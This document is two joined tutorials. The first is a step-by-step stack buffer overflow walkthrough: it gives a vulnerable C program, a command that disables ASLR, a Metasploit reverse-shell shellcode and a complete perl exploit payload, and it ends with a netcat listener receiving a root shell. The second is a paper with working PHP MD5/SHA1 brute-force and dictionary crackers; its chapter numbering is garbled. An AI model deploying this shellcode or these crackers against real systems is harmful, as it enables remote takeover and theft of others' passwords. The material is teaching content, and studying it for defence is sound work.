-------------------------------------------------------------------------------[/]

Buffer Overflow Tutorial


-- Buffer Overflow Tutorial -- 


Hi we are going to do a basic stack overflow on a vulnerable program
to get a reverse shell


I apoligise for my english..it's not my native language

Our vulnerable program:

-- vuln-prog.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *string) {

  char buffer[1024];

  strcpy(buffer, string);

  return 1;
}

int main(int argc, char *argv[]) {

  bof(argv[1]);
  printf("Done..\n");

  return 1;
}

-- vuln-prog.c

this program takes a user supplied string and copies it into 'buffer' which can hold 1024
bytes of data. if a user sends 1040 bytes which is more then 1024 bytes.. it would
cause the buffer to be overflowwed and it would overwrite parts of memory..

lets compile our vulnerable program:

gcc vuln-prog.c -o vuln-prog

We need to disable the linux VA patch to successfully exploit
this basic overflow..

bash-3.00# cat /proc/sys/kernel/randomize_va_space
1
bash-3.00# echo 0 > /proc/sys/kernel/randomize_va_space
bash-3.00#
bash-3.00# cat /proc/sys/kernel/randomize_va_space  
0
bash-3.00#


We use a debugger called GDB to debug the program to see what happens if we
send more then 1024 bytes..

bash-3.00# gdb ./vuln-prog
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb)

we will use perl to supply a buffer which is larger then 1024 bytes and
enough to overwrite parts of memory.

(gdb) run `perl -e 'print "A"x1040'`
Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x1040'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

as you can see we supplied a string which holds 1040 x A

A is 0x41 in it's hexadecimal format..

now lets see what parts of our memory are overwritten..

(gdb) i r
eax            0x1      1
ecx            0xfffff9e6       -1562
edx            0xbffff8aa       -1073743702
ebx            0xb7fcc000       -1208172544
esp            0xbffff290       0xbffff290
ebp            0x41414141       0x41414141
esi            0xb7fce17c       -1208163972
edi            0x2      2
eip            0x41414141       0x41414141
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

this is a important part to look at:

eip            0x41414141       0x41414141

eip is the Extended Instruction Pointer, eip contains the address
to the next instruction.. so basicly it points to the address where
the next piece of code will get executed..

so overwriting eip with an address which contains our own code
would allow us to control the flow of the program..

we have overwritten eip with 41414141 which is AAAA
but 41414141 does not contain any code and is a invalid
part of memory to point to..

so we have to point it to our piece of code..

to execute our own piece of code we will use something called: SHELLCODE

Shellcode also knows as Bytecode which contains a set of cpu instructons

We will not discuss the process of making your own shellcode
so we will use metasploit to generate our shellcode..

first of all we want to listen with netcat and wait for a shell to arrive

so lets listen with netcat:

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...

netcat is listening on port 9999

now lets get our ip address..

bash-3.00# ifconfig |grep inet
          inet addr:10.0.0.153  Bcast:10.0.0.255  Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0


our ip address is 10.0.0.153

now lets check if netcat is indeed listening..

bash-3.00# netstat -an |grep 9999
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN  

as you can see netcat is listening on port 9999

Lets browse to:

http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse

to generate our shellcode..

Fill in the form:

LHOST Required ADDR = 10.0.0.153
LPORT Required PORT = 9999

and click Generate Payload..

which generates us the following:

/* linux_ia32_reverse -  LHOST=10.0.0.153 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */

"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c"
"\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d"
"\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6"
"\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e"
"\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16";

as you can see our shellcode is 96 bytes large.

lets strip it off

\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16

this piece of shellcode will connect back to 10.0.0.153 on port 9999 where netcat is listening... and provide a shell

now to find our shellcode in memory would be a pain in the ass and it wouln't we flexible
so we need to use the NOP method.

a NOP is a instruction which does nothing (No Operation - 0x90)

so we place a set of NOP instructions (nopsled) before our shellcode
and point eip to somewhere in our NOPSLED , our payload should look
something like this

[garbage data - A's (0x41)] - [nopsled] - [shellcode] - [eip]

Now we need to calculate howmuch we exactly need to send:

we used 1040 bytes to overflow eip with 0x41414141

eip is 4 bytes so:

1040 - 4 = 1036

then we need 96 bytes for our shellcode

1036 - 96 = 940

and we can use 940 bytes for our garbage data and our nopsled.

ill use 340 bytes for our nopsled..

so thats 340 x 0x90

940 - 340 = 600

and there are 600 bytes left to use for garbage data

thats 600 x A (0x41)

our payload should look like this:

600 x A(0x41) + 340 x NOP(0x90) + 96 bytes of shellcode + 4 bytes of EIP = 1040 bytes

PAYLOAD:

`perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'`

we will overwrite eip with BBBB (0x42424242) for debugging purposes..

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

as you can see eip got overwritten with 0x42424242 which is BBBB and BBBB is the last
part of our payload which we used to overwrite eip..

now we need to point eip to our nopsled instead of 0x42424242

lets analyze our memory and see where our nopsled is:

(gdb) x/2000xb $esp

now lets hit enter untill we see a huge set of NOP instructions (0x90)

0xbffff6e0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff6e8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff6f0:     0x41    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff6f8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff700:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff708:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff710:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff718:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff720:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff728:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff730:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff738:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff740:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff748:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff750:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff758:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff760:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff768:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff770:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff778:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff780:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff788:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff790:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

just before our NOPSLED we see our garbage data full of A's (0x41)
thats how we constructed our payload before :)

after our NOPSLED we have our shellcode:

0xbffff820:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff828:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff830:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff838:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff840:     0x90    0x90    0x90    0x90    0x90    0x31    0xc9    0x83
0xbffff848:     0xe9    0xee    0xd9    0xee    0xd9    0x74    0x24    0xf4
---Type <return> to continue, or q <return> to quit---
0xbffff850:     0x5b    0x81    0x73    0x13    0x5e    0x10    0xdb    0x16
0xbffff858:     0x83    0xeb    0xfc    0xe2    0xf4    0x6f    0xcb    0x88
0xbffff860:     0x55    0x0d    0x7a    0xd9    0x7c    0x38    0x48    0x52
0xbffff868:     0xf7    0x93    0x90    0x48    0x4f    0xee    0x2f    0x16
0xbffff870:     0x96    0x17    0x69    0x22    0x4d    0x04    0x78    0xd1
0xbffff878:     0x16    0x5e    0x89    0xbd    0x7e    0x79    0x1f    0x98
0xbffff880:     0x70    0x0d    0x99    0x3a    0xa6    0x38    0x40    0x8a
0xbffff888:     0x45    0xd7    0xf1    0x98    0xdb    0xde    0x42    0xb3

our shellcode starts with \x31 as you can see..

now we need to overwrite eip so it points to somewhere in our set of NOP instructions

it will execute the NOP instructions till it reaches our shellcode
and when it executes our shellcode it will bring us a reverse shell on
port 9999..

so lets choose an address which is in our nopsled..

0xbffff740

lets write it in little-endian format (reversely)

\x40\xf7\xff\xbf

and lets place that in our payload.. so it will look like this:

`perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`

lets run the program with gdb and our payload as an argument..

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`


now let's turn back netcat which we left listening on port 9999

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...
10.0.0.153: inverse host lookup failed: No address associated with name
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126

as you can see we overflowwed the buffer and got ourselves a reverse shell :D

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...
10.0.0.153: inverse host lookup failed: No address associated with name
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(audio),18(video),19(cdrom)
uname -a
Linux hp 2.6.17.6 #1 SMP PREEMPT Sun Jul 16 14:49:45 CEST 2006 i686 unknown unknown GNU/Linux



Analysis of brute force & dictionary attacks


.-::Analysis of brute force & dictionary attacks.::-.



[ 0x00 ] Chapters
================================================
[ 0x01 ] Prologue
[ 0x02 ] Terms & Conventions
[ 0x03 ] Tools, Environment & Prerequisites
[ 0x04 ] Basic Theory
[ 0x05 ] ASCII Codes
[ 0x06 ] Hashes
[ 0x07 ] Brute Force Attack
[ 0x08 ] Theory
[ 0x09 ] Source Code Analysis
[ 0x0a ] Dictionary Attack
[ 0x08 ] Theory
[ 0x09 ] Source Code Analysis
[ 0x0d ] Famous Crackers
[ 0x0e ] Pros and Cons of the 2 attacks
[ 0x0f ] Epilogue
================================================



[ 0x01 ] Prologue
===============================================
A lot of discussion has taken place for a long time in password cracking techniques.
In this paper we will analyze the two most commonly used techniques.
The first one being "Brute Force Attacks" and the second "Dictionary Attacks".
We will start from the hardest and most effective one, brute force.
After that, dictionary attacks will look like a piece of cake.

I hope that you will find the paper interesting and enlightening.


[ 0x02 ] Terms & Conventions
============================================
Blocks between:
"*********************************************************************************************"
contain code.

Blocks between:
"---------------------------------------------------------------------------------------------"
contain preformatted or special text.

Cryptography:
=============
Cryptography (or cryptology; derived from Greek ....... krypt�s "hidden," and ....... gr�fein
"to write") is a discipline of mathematics concerned with information security and related issues,
particularly encryption, authentication, and access control. Its purpose is to hide the meaning
of a message rather than its existence. [ http://en.wikipedia.org/wiki/Cryptography ]

Encryption:
===========
In cryptography, encryption is the process of obscuring information to make it unreadable without
special knowledge. [ http://en.wikipedia.org/wiki/Encryption ]


[ 0x03 ] Tools, Environment & Prerequisites
============================================
In oder for the examples presented here to be functional your system must comply with the following:

Operating System:
=================
Linux with a 2.6.x kernel.
Other versions might work, I can't guarantee anything though.
Get it from: http://www.kernel.org/

Compiler:
=========
gcc 4.1.0 and higher
I'm pretty sure any other version will work, it's just that v.4.1.0 is what I used to develop the examples.
Get it from: http://gcc.gnu.org/

PHP:
====
PHP 5.1.2 will be used for some examples.
I'm pretty sure any other version will work.
Get it from: http://www.php.net/

Chances are you already have all that software installed, but better make sure.


[ 0x04 ] Basic Theory
============================================
Ok, that's fairly easy to grasp, even though I'm a lousy teacher. :P
Let's move on.


[ 0x05 ] ASCII Codes
============================================
You probably already know this but it doesn't hurt to review it.
Computers don't know characters, they only understand binary, "0"s & "1"s.
For our comfort, though, we have fashioned other systems too, Hexadecimal, Decimal, Octal etc.
It would be pretty hard for a human to read binary, even decimal, that's when ASCII comes into play.
ASCII, American Standard for Information Interchange, codes represent characters and are expressed
in Decimal, Hexadecimal etc.
We will work with decimal codes here.
An example follows:
"A"=65, "B"=66 ... "Z"=90
So "ZAPOTEK" = 90 65 80 79 84 69 75 .
That's very useful when it comes to generating passwords, you'll see why in later chapters.


[ 0x06 ] Hashes
============================================
That's significantly harder than the ASCII codes.
Long story short, a hash is a "fingerprint" of some piece of data.
In general, a lot of hash functions exist, the most popular are MD5, SHA1, CRC.
What makes hashes so important is that they are one-way, at least they are supposed to be.
For example, the word "hash" has an MD5 hash of "0800fc577294c34e0b28ad2839435945".
And the fact that it is one-way means that we cannot figure out what the encrypted data was from it's hash.
Hashes are also used as checksums, meaning that we can use them to check if transported data is not
corrupted in some way. Even if a byte is missing from the data the hash will differ from the original one.
That comes in handy in password validation too, you'll see.


[ 0x07 ] Brute Force Attack
============================================
Remember when I said that we cannot recompute the data from the hash?
That's was true, the only thing we can try is bruteforcing.
Say, we have the password "hash", which converts to "0800fc577294c34e0b28ad2839435945".
The only way we can figure out the password from the hash is to brute force it.


[ 0x08 ] Theory
============================================
Brute forcing is the method of testing random strings against a given hash until we find a match.
The way string generation works is that we generate a random number between the ASCII codes "65" to "90",
that's for capital, English, characters, and then convert it to it's ASCII equivalent character
By adding up characters we generate our random string.
Looping through random strings until we exhaust the keyspace is the hard part because the keyspace increases
dramatically depending on the characters in the string, it's length, and the HASH function used.

Generally the following keyspace formula applies:
---------------------------------------------------------------------------------------------
keyspace = characters_used ^ string_length
---------------------------------------------------------------------------------------------
characters_used = the number of different characters used in the string
string_length = the amount of characters in a string

Worst case scenario is:
---------------------------------------------------------------------------------------------
keyspace = 94 ^ a_very_big_number
---------------------------------------------------------------------------------------------
94 ensues from the number of printable ASCII characters.

In case you didn't notice, keyspace is equal to the number of possible generated strings for the
given character set and string length.
So, looping until we exhaust the keyspace ensures that we will find a match.
If however the keyspace is exhausted and we have no match, either the string length is wrong,
or the character set is different from what was expected.
That's pretty much the gist.


[ 0x09 ] Source Code Analysis
============================================
This is a John the Ripper kind of bruteforcer in PHP:

bruteforcer.php:
*********************************************************************************************
<?php
/*
 * @author: zapotek <zapotek[at]segfault.gr>
 * @version: 0.1
 * @name: MD5/SHA1 BruteForcer
 * @description: A sample MD5/SHA1 bruteforcer in PHP, inspired from JTR.
 */
error_reporting(0);

echo "MD5/SHA1 Bruteforcer\n".
"by Zapotek <zapotek [at] segfault.gr\n\n";

// is we have insuficient parameters return usage
if ($argc!=3){
  echo "Usage:
".$argv[0]." <hash> <lenght>
<hash> The MD5/SHA1 hash
<lenght> The estimated length of the encrypted string\n";
exit(1);
}


array_shift($argv);
$hash = array_shift($argv); // get the hash
$len = (int) array_shift($argv); // get the hash length
$start = strtotime ("now");
$start2 = strtotime ("now");
$keyspace = pow(75,$len); // compute keyspace

// decide the encryption algorithm
switch (strlen($hash)) {

//If the Hash is 32 chars long it's a MD5 Hash
//(Only for HEX encoded hashes)
case 32;
$algo="MD5";
break;

//If the Hash is 40 chars long it's a SHA1 Hash
//(Only for HEX encoded hashes)
case 40;
$algo="SHA1";
break;

//Else print error msg
default;
echo "Could not determine the encryption algorithm.\n";
echo "Ensure that the Hash is correct and try again.\n";
exit();
}

// generate initial key
$key = "";
for ($y=0;$y<$len;$y++){
$key .= "0";
}

// return some info to the user
echo "Specified string length: $len characters\n".str_repeat("-",65).
"\n$algo hash: $hash\n".str_repeat("-",65).
"\nKeySpace: $keyspace characters\n".str_repeat("-",65)."\n";

// loop through the keyspace
for ($x=0;$x<$keyspace;$x++){
// generate random string
for ($y=0;$y<$len;$y++){
// if we haven't reached "z" yet, move on to the next character
if ($key[$y] != "z"){
// create character from number
$key[$y] = chr(ord($key[$y])+1);
// zero the rest of the string out
if ($y > 0){
for ($z = 0; $z < $y; $z++){
$key[$z] = "0";
}
}
break;
}
}

// create hash from random string
$gen_hash = ($algo=="MD5")? md5($key):sha1($key);
// if the hashes match we have a winner!
if($hash==$gen_hash){
// inform the user we cracked the hash
echo "\nDecrypted string: $key\n".
str_repeat("-",65).
"\nOperation took: ".
date("H:i:s",mktime(0,0,strtotime("now")-$start2)).
"\n".str_repeat("-",65)."\n";
// and exit
exit(0);
}

// print out some statistics
if ($x % 24000 == 0){
$x2++;
if ($x2 == 4){
$x2 =0;
$time = strtotime ("now") - $start;
$start = strtotime("now");
if ($time==0) $time=1;
$rate = (24000 *4) / $time;
echo " $x/$keyspace ($key) [$rate Keys/sec]".
" [".round(100-(($keyspace-$x)/$keyspace)*100,3)."%]".
" [".gmdate("H:i:s", round((($keyspace-$x)/$rate),3))." left]\n";
}
}
}

// if the keyspace loop is finished with no match inform the user we failed
echo "\nKeyspace exhausted.\n".
"Please check the provided lentgh and try again.\n"
?>

*********************************************************************************************

Lets give this baby a trial run.

For an MD5 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php 900150983cd24fb0d6963f7d28e17f72 3
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length:        3 characters
-----------------------------------------------------------------
MD5 hash:                       900150983cd24fb0d6963f7d28e17f72
-----------------------------------------------------------------
KeySpace:                       421875 characters
-----------------------------------------------------------------
        72000/421875 (1l<) [96000 Keys/sec] [17.067%] [00:00:03 left]
        168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]
        264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]

Decrypted string:               abc
-----------------------------------------------------------------
Operation took:                 00:00:03
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

For a SHA1 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php a9993e364706816aba3e25717850c26c9cd0d89d 3
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length:        3 characters
-----------------------------------------------------------------
SHA1 hash:                      a9993e364706816aba3e25717850c26c9cd0d89d
-----------------------------------------------------------------
KeySpace:                       421875 characters
-----------------------------------------------------------------
        72000/421875 (1l<) [96000 Keys/sec] [17.067%] [00:00:03 left]
        168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]
        264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]

Decrypted string:               abc
-----------------------------------------------------------------
Operation took:                 00:00:03
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

Well, that's easy, lets give it a bit of a challenge.
Let's see what happens with "fb50df9b6b86db51569f2bab6457a24e" (= "zapo")
(I'd give it "zapotek" but the keyspace would get exhausted at around 6hours, so...)
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php fb50df9b6b86db51569f2bab6457a24e 4
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length:        4 characters
-----------------------------------------------------------------
MD5 hash:                       fb50df9b6b86db51569f2bab6457a24e
-----------------------------------------------------------------
KeySpace:                       31640625 characters
-----------------------------------------------------------------
        72000/31640625 (1l<0) [96000 Keys/sec] [0.228%] [00:05:28 left]
        168000/31640625 (1qM0) [96000 Keys/sec] [0.531%] [00:05:27 left]
        264000/31640625 (1v^0) [96000 Keys/sec] [0.834%] [00:05:26 left]
.............
        26664000/31640625 (1D?o) [96000 Keys/sec] [84.271%] [00:00:51 left]
        26760000/31640625 (1IPo) [48000 Keys/sec] [84.575%] [00:01:41 left]
        26856000/31640625 (1Nao) [96000 Keys/sec] [84.878%] [00:00:49 left]

Decrypted string:               zapo
-----------------------------------------------------------------
Operation took:                 00:03:57
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

Pretty cool huh?
By the way, the time reported at the right is how much it will take for the script to try all
the possible combinations and not necessarily the exact time it'll take to crack a given hash.

The comments in code make it easy to grasp so I won't explain it line-to-line, so I'll just paint
you the big picture in steps.

1) Read the hash & estimated string length from user input
2) Decide hash type depending on it's length (given that the hash is hexadecimal)
3) Compute the keyspace (75^estimated string length)
4) Create an initial key containing only "0"s
5) Loop until we have reached the end of the keyspace
6) Loop until we have crated a random string
7) Compare the random string's hash with the one provided by the user
8) If we have a match inform the user and exit, else keep looping
9) If we have exhausted the keyspace tell the user we were unable to find a matching hash

That's pretty much it...


[ 0x0a ] Dictionary Attack
============================================
If you understood the previous chapter this will be a walk in the park.


[ 0x08 ] Theory
============================================
Dictionary attacks are like brute force attacks, but significantly easier.
Instead of creating our own random strings we read them from a dictionary and then test them against
a given hash. And, instead of looping until the end of the keyspace, we loop until the end of file.
That's all there is to it.
Now, to some code.


[ 0x09 ] Source Code Analysis
============================================
dicattack.php:
*********************************************************************************************
#!/usr/bin/php
<?php

/*
 * @author: zapotek <zapotek[at]segfault.gr>
 * @version: 0.1
 * @name: DicAttack
 * @description: A sample dictionary attacker in PHP.
 */

$supported= "MD5/SHA1";
$name= array_shift($argv);
$wordlst= array_shift($argv);
$hash= array_shift($argv);

// timer
function getmicrotime() {
    list ($usec, $sec)= explode(" ", microtime());
    return ((float) $usec + (float) $sec);
}

    // the function that does the cracking
    function crack($algo) {
        global $wordlst, $hash;
        // start the timer
        $time_start= getmicrotime();
    // read the dictionary
        $wordlist= file_get_contents($wordlst);
    // do some error checking
        if (!$wordlist) {
            echo "Cannot access $wordlst.\n";
            echo "Ensure that the file exists and try again.\n";
        }else{
        // put the words in an array
        $words=explode("\n",$wordlist);
            // create each word's hash
            foreach ($words as $word) {
// create the word's hash
                switch ($algo) {

                    case "md5";
                        $word_hash= md5($word);
                        break;

                    case "sha1";
                        $word_hash= sha1($word);
                        break;
                }
        // compare the hashes
                if ($word_hash == $hash) {
                    // stop the timer
                    $time_stop= getmicrotime();
                    echo "Crack Successful!\n"."-----------------\n";
                    echo "$hash = $word\n"."-----------------\n";
                    $time= $time_stop - $time_start;
                    echo "[ Operation took $time seconds ]\n\n";
   exit();
                }
            }
        }
    }

// in case of insuficient arguments return usage info
if ($argc != 3) {
    stamp();
    exit();
}

// decide the hash type
// given that the hash is in hexadecimal format
switch (strlen($hash)) {

    // if the hash is 32 bytes it must be a MD5 Hash
    case 32;
        echo "\nGuessing MD5...\n\n";
        crack("md5");
        break;

    // if the hash is 40 bytes it must be a MD5 Hash
    case 40;
        echo "\nGuessing SHA1...\n\n";
        crack("sha1");
        break;

    // else return an error msg
    default;
        echo "Could not determine the encryption algorithm.\n";
        echo "Ensure that the Hash is correct and try again.\n";
        break;
}

// the usage stamp
function stamp() {
    global $supported, $name;
    echo "\nDicAttack\n-------\n";
    echo "Simple Wordlist Based Password Cracker\n";
    echo "Currently supporting $supported\n";
    echo "Syntax: $name <wordlist file> <hash>\n\n";
}

echo "Couldn't find a match check your dictionary or hash and retry.\n";

?>

*********************************************************************************************
The code is fairly simple and usage examples follow.

We will be using this file as a wordlist.

list.txt:
---------------------------------------------------------------------------------------------
a
b
c
ab
bc
abc

---------------------------------------------------------------------------------------------

For an MD5 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php dicattack.php list.txt 900150983cd24fb0d6963f7d28e17f72

Guessing MD5...

Crack Successful!
-----------------
900150983cd24fb0d6963f7d28e17f72 = abc
-----------------
[ Operation took 0.028094053268433 seconds ]

---------------------------------------------------------------------------------------------

For a SHA1 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php dicattack.php list.txt a9993e364706816aba3e25717850c26c9cd0d89d

Guessing SHA1...

Crack Successful!
-----------------
a9993e364706816aba3e25717850c26c9cd0d89d = abc
-----------------
[ Operation took 0.00048303604125977 seconds ]

---------------------------------------------------------------------------------------------

Once again, these are the steps:
1) Read the hash from user input
2) Decide hash type depending on it's length (given that the hash is hexadecimal)
3) Read the dictionary
4) Put every word  in an array
5) Loop through the array of words
6) Create each words hash and compare it with the user given hash
7) If we have a match inform the user and exit, else keep looping
8) If we have exhausted the array tell the user we were unable to find a matching hash


